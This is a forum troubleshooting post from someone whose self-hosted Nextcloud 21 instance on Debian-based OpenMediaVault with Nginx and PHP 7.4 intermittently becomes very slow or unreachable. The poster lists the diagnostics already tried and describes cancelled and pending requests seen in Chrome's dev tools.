Nextcloud version : 21.0.3
Operating system and version (eg, Ubuntu 20.04): OpenMediaVault based on Debian 10 (Buster)
Nginx: 1.14.2
PHP version : 7.4
The issue you are facing:
My nextcloud instance is sometimes not reachable or just veryyyyy slow (30+s load time). After half to a few minutes the instance is reachable again and very responsive just as it was before. This again lasts for a few minutes just for the frontend to be slow again, it goes on and on like this.
At first I thought it was a routing problem by my ISP (self hosted, ports 80 and 443 forwarded) since it worked when proxied through cloudflare, but it wasn’t. No matter how I access the frontend (only via my local network, over my DSL-Line or via mobile, the problem stays the same.
I am 99% sure that there is a problem with my webserver/php config/database config/nextcloud config. I once again checked all the recommended server tuning settings, reinstalled apcu and checked my pool.d configuration files.
Every other site hosted on this server is responsive, even when nextcloud is not.
I can’t find errors that could possibly cause this problem in my log files (neither Nextcloud nor Nginx). I does not correlate with a running cronjob and I there aren’t any peaks in CPU/RAM/Disk usage that would explain such behaviour.
I don’t know the exact moment when this problem started to occur and I haven’t changed anything in the config. I just regularly update via apt-get update && upgrade and always update any apps or the Nextcloud app itself.

I’ve additonally tested using the website and logging via Chrome’s dev tools. If the problem described above happens, the following is shown in the log:
Image (Forum upload is broken)
Basically Chromes tries to load the page, but then the first request is cancelled and the second request is then pending for multiple seconds. After that, it again works perfectly fine, for a few seconds to minutes.
